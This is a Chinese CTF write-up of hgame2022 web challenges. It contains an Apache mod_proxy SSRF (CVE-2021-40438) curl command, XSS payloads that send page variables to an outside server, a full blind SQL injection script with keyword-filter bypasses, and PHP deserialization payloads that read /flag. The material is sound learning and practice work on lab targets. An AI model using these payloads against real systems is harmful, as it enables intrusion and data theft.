hgame2022 web 复现

又是一年hgame,话说去年week4的wp一直鸽着(逃

Week1

easy_auth

这题真的是麻了,看wp我人傻了,我就说第一周的题怎么可能难。看到auth有想过jwt验证,没想到密钥是空的,搞得去找注入点自闭了快一个星期,寄

id改成1,username设置admin通过身份验证

蛛蛛…嘿嘿♥我的蛛蛛

在header中看到了hint,但是乱码。尝试了一下,根据题目是脚本爬虫的意思?试了下robots.txt没东西,于是就尝试脚本跑点击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf8 -*-
import urllib
import requests
import re
import time

url = r'https://hgame-spider.vidar.club/6b564bfe80'
http = requests.get(url, verify = False)
while True:
if 'flag{' in http.content or 'hgame{' in http.content:
print 6666
print http.content
break
key = re.findall(r"(\?key=[0-9a-zA-Z%]*)\">",http.content)[0]
key_url = url+key
print key_url
http = requests.get(key_url, verify = False)
print
time.sleep(1)

跑到一半跑不了了,进入页面查看header发现flag,emmm…感觉这hint不如没有,有些误导

Tetris plus

经典js题,另存页面查3000发现是假flag,下方的注释里是真flag

Fujiwara Tofu Shop

Header字段的题

X-Forwarded-For还能设置代理绕过内网IP检测,学到了

Week2

Apache!

这题是去年的一个apache的洞(CVE-2021-40438)
具体调试复现可以参考这几篇文章
Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸
Apache mod_proxy SSRF(CVE-2021-40438)
https://www.anquanke.com/post/id/263175

当启用模块mod_proxymod_proxy_http时,若配置了ProxyPass,会通过设置的ip进行反向代理
Apache中有两种配置反向代理的方式
直接使用某个协议反代到某个IP和端口,比如ProxyPass / "http://localhost:8080"
使用某个协议反代到unix套接字,比如ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第二种情况就造成了这个漏洞,具体的复现之后再弄, 简单来说就是可以通过unix:|之间填充多余4096个字符,就能发出目标地址是|后的值的TCP请求,从而达到SSRF

进入可以看到提示我们访问内网的internal.host,同时通过www.zip可以拿到dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
version: "3.8"
services:
apache:
image: httpd:2.4.48-alpine
volumes:
- ./static:/usr/local/apache2/htdocs
- ./httpd.conf:/usr/local/apache2/conf/httpd.conf
- ./httpd-vhosts.conf:/usr/local/apache2/conf/extra/httpd-vhosts.conf
links:
- internal.host
depends_on:
- internal.host
ports:
- 60010:80
nginx:
image: nginx:alpine
container_name: internal.host
volumes:
- ./default.conf:/etc/nginx/conf.d/default.conf

可以看到边缘服务器是apache,而内网是nginx。而apache的版本2.4.48正好符合CVE-2021-40438的要求

接着在httpd.conf中查看mod_proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
#LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so
#LoadModule proxy_scgi_module modules/mod_proxy_scgi.so
#LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so
#LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so
#LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so
#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so
#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
#LoadModule proxy_express_module modules/mod_proxy_express.so
#LoadModule proxy_hcheck_module modules/mod_proxy_hcheck.so

可以看到mod_proxymod_proxy_http都可以使用

然后在httpd-vhosts.conf中可以看到

1
2
3
4
5
6
7
8
9
10
11
<VirtualHost *:80>
ServerAdmin webmaster@summ3r.top
DocumentRoot "/usr/local/apache2/htdocs"
ServerName dummy-host.example.com
ServerAlias www.dummy-host.example.com
ErrorLog "logs/dummy-host.example.com-error_log"
CustomLog "logs/dummy-host.example.com-access_log" common
<Location /proxy>
ProxyPass https://www.google.com
</Location>
</VirtualHost>

proxy的路径是/proxy,这里一开始没注意到,搞得我一直没办法触发

最后看到nginx的配置文件default.conf

1
2
3
location = /flag {
return 200 "hgame{xxx}";
}

flag是在/flag路径

先测试一下,curl "http://httpd.summ3r.top:60010/proxy?unix:testsocket|http://test/"

成功响应了503,接着去获取flag
curl "http://httpd.summ3r.top:60010/proxy?unix:$(python3 -c 'print("A"*7701, end="")')|http://internal.host/flag"

成功获得flag

webpack-engine

这题说实话做的过程有点窒息,不太熟悉chrome结果就直接尝试手动解混淆,解出了个这个
filiiililil4g:'YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo='
一眼看上去很怪就觉得是不是有加密函数,于是尝试了很久没整出来

最后发现chrome中可以直接得到运行后的结果,真的脑溢血
然后把这个拿去两次base64解密就得到flag了

At0m的留言板

这题的难点在于只有提供截图,模糊测试的过程令人脑溢血,提供的模板基本没有用
首先尝试了一下<script>,检测匹配的方式应该是这样<script.*>.*</script>,检测到就会被替换。而<span>、<div>、<img>、<p>、<b>这些常用标签都是能用的,但是因为不能直接看到页面源码,尝试了很多次才确认并不是被替换为空而是被认为是标签。而<svg>、<iframe>这些就很窒息了,看不到源码根本不知道到底是bot的问题没有解析还是被转义了,因为像<xxx>这种自定义标签也应该是被隐藏的,但依旧是以字符串被显示出来了,而把<>转义掉然后又留下几个常用标签不转义总觉得不太对
然后是迷惑点flag,在提供的模板里flag放在全局的flag中,但后面去问出题人才知道并不是,那你倒是提醒一下啊?一开始尝试用img onerror去打回数据
<img src="" onerror="t=new XMLHttpRequest;t.open('GET', 'http://domain/?'+flag,!0),t.send('flag');">
什么都没有,试了下onerror也没被过滤掉,真的就一脸懵逼

后面尝试了一下<body onload="alert('132')">,发现响应了不一样的东西

截图估计是对应位置上空白所以响应这个,于是又尝试了一下<img src=x onerror=document.write(123)>

因为页面只剩下123,所以自然也是空白,就想着能用这种方式进行语句调试
接着又尝试了一下<img src=x onerror=document.write(flag)>

发现js并没有被触发,就说明flag可能有问题。尝试把flag打回来
<img src=x onerror="t=new XMLHttpRequest;t.open('GET', 'http://shifeng-kaze.cn/xss/?'+window.flag,!0),t.send('flag');document.write(123);">
发现值是undefined,这时才去问出题人咋回事,告诉我变量不是flag,麻了

于是循环获取所有js的变量,然后判断是否字符串和是否有hgame子串,再打回来
<img src=x onerror="g=window;flag='';for(prop in g){if(typeof(g[prop])=='string'){if(g[prop].search('hgame')!=-1){flag=prop+':'+g[prop]}}};t=new XMLHttpRequest;t.open('GET', 'http://domain/?'+flag,!0),t.send('xss');">

成功打回flag,变量名是F149_is_Here,孬题
后来出题人还在春节在全局变量中放了红包的领取码,把search匹配给去掉就可以获得

Pokemon

真注入题,注释提示了?id=1,尝试了一下发现注不了,但发现error页面是由code控制,且还会报错,尝试code=404^1^1code=404^0^1结果不同,于是尝试盲注
其中将select、/**/ 、from、=、where、or替换为空,双写即可绕过,=like代替
然后就是脚本跑flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
# -*- coding:utf8 -*-  
import requests
import time

url = r"http://121.43.141.153:60056/error.php?code="
user = "1\\"

l1 = 0
r1 = 100

while(l1<=r1):
timeout = 0
mid1 = (l1 + r1)/2
# payload = '404^if(length(database())>'+str(mid1)+',1,0)^1'
# payload = '404^if((selselectect/*/**/*/length(group_concat(table_name))/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/database())>'+str(mid1)+',1,0)^1'
# payload = '404^if((selselectect/*/**/*/length(group_concat(column_name))/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/\'fllllllllaaaaaag\')>'+str(mid1)+',1,0)^1'
payload = '404^if((selselectect/*/**/*/length(group_concat(flag))/*/**/*/frfromom/*/**/*/fllllllllaaaaaag)>'+str(mid1)+',1,0)^1'
sql_url = url + payload


print payload
http = requests.get(sql_url)
if '404' in http.content:
# 404时则>mid1
l1 = mid1 + 1
time.sleep(1)
else:
# 405时则<=mid1
# payload = '404^if(length(database())<'+str(mid1)+',1,0)^1'
# payload = '404^if((selselectect/*/**/*/length(group_concat(table_name))/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/database())<'+str(mid1)+',1,0)^1'
# payload = '404^if((selselectect/*/**/*/length(group_concat(column_name))/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/\'fllllllllaaaaaag\')<'+str(mid1)+',1,0)^1'
payload = '404^if((selselectect/*/**/*/length(group_concat(flag))/*/**/*/frfromom/*/**/*/fllllllllaaaaaag)<'+str(mid1)+',1,0)^1'
sql_url = url + payload
print payload
http = requests.get(sql_url)
if '404' in http.content:
# 404时则<mid1
r1 = mid1 - 1
time.sleep(1)
else:
# 405时则=mid1
break

print "Length:"+str(mid1)

flag = ''

for i in range(mid1):
l2 = 0
r2 = 128

while(l2<=r2):
timeout = 0
mid2 = (l2 + r2)/2
# payload = '404^if(ascii(substr(database(),'+str(i+1)+',1))>'+str(mid2)+',1,0)^1'
# payload = '404^if(ascii(substr((selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/database()),'+str(i+1)+',1))>'+str(mid2)+',1,0)^1'
# payload = '404^if(ascii(substr((selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/\'fllllllllaaaaaag\'),'+str(i+1)+',1))>'+str(mid2)+',1,0)^1'
payload = '404^if(ascii(substr((selselectect/*/**/*/group_concat(flag)/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),'+str(i+1)+',1))>'+str(mid2)+',1,0)^1'
sql_url = url + payload
print payload
http = requests.get(sql_url)
if '404' in http.content:
# 404时则>mid2
l2 = mid2 + 1
time.sleep(1)
else:
# 405时则<=mid2
# payload = '404^if(ascii(substr(database(),'+str(i+1)+',1))<'+str(mid2)+',1,0)^1'
# payload = '404^if(ascii(substr((selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/database()),'+str(i+1)+',1))<'+str(mid2)+',1,0)^1'
# payload = '404^if(ascii(substr((selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/\'fllllllllaaaaaag\'),'+str(i+1)+',1))<'+str(mid2)+',1,0)^1'
payload = '404^if(ascii(substr((selselectect/*/**/*/group_concat(flag)/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),'+str(i+1)+',1))<'+str(mid2)+',1,0)^1'

sql_url = url + payload
print payload
http = requests.get(sql_url)
if '404' in http.content:
# 404时则<mid2
r2 = mid2 - 1
time.sleep(1)
else:
# 405时则=mid2
break

flag = flag + chr(mid2)
print flag

print flag

# 404^if(length(database())>50,1,0)^1
# 404^if(ascii(substr(database(),1,1))>64,1,0)^1
# pokemon

# 404^if((selselectect/*/**/*/length(group_concat(table_name))/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/database())>50,1,0)^1
# 404^if(ascii(substr((selselectect/*/**/*/group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whewherere/*/**/*/table_schema/*/**/*/like/*/**/*/database()),23,1))<103,1,0)^1
# errors,fllllllllaaaaaag

# 404^if((selselectect/*/**/*/length(group_concat(column_name))/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag')>50,1,0)^1
# 404^if(ascii(substr((selselectect/*/**/*/group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'),4,1))<103,1,0)^1
# flag

# 404^if((selselectect/*/**/*/length(group_concat(flag))/*/**/*/frfromom/*/**/*/fllllllllaaaaaag)>50,1,0)^1
# 404^if(ascii(substr((selselectect/*/**/*/group_concat(flag)/*/**/*/frfromom/*/**/*/fllllllllaaaaaag),41,1))<125,1,0)^1
# hgame{C0n9r@tul4tiOn*Y0u$4r3_sq1_M4ST3R#}

一本单词书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (!isset($_POST['username']) || !isset($_POST['password'])) {
return;
}

if ($_POST['username'] != 'adm1n') {
die(alert('username or password is invalid'));
}

if (is_numeric($_POST['password'])) {
die(alert('密码不能设置为纯数字,我妈都知道( ̄△ ̄;)'));
} else {
if ($_POST['password'] == 1080) {
$_SESSION['username'] = 'admin';
$_SESSION['unique_key'] = md5(randomString(8));
header('Location: index.php');
} else {
die(alert('这你都能输错?'));
}
}
}

登录验证,弱类型比较可绕过

index.php中可以看到,储存时使用save.php,获得时使用get.php

1
2
3
4
5
6
7
8
function encode($data): string {
$result = '';
foreach ($data as $k => $v) {
$result .= $k . '|' . serialize($v);
}

return $result;
}

可以看到储存时,json数据被解析为数组后,会被处理为key|val的形式,val被进行了序列化

get.php中可以对取出的储存数据的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));

$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}

可以看到offset初始为0,然后pos先获得第一个|的位置,numposoffset的差。varname则是|前面的字符串,即keydataItem则是val,接着将键值对放入result中,最后offest指向第一个键值对结束的位置。最终通过循环所有的储存数据都被放入到result
这里可以利用对|位置的判断,在key的值中设置|和要反序列化的数据,在encode()key不会被序列化,通过这样就能绕过对val的序列化

1
2
3
4
5
6
7
8
9
10
11
12
class Evil {
public $file;
public $flag;

public function __wakeup() {
$content = file_get_contents($this->file);
if (preg_match("/hgame/", $content)) {
$this->flag = 'hacker!';
}
$this->flag = $content;
}
}

eval.php中可以看到读取了属性file,这里写得有些问题,if后没有else也没有return,导致这个if正则判断失去了作用,结果直接把file设置为/flag即可

1
2
key=xx|O:4:"Evil":2:{s:4:"file";s:5:"/flag";s:4:"flag";N;}
val=123

即可读取到/flag,就算有正则,用filter来base64读取即可

1
2
key=xx|O:4:"Evil":2:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/recource=/flag";s:4:"flag";N;}
val=123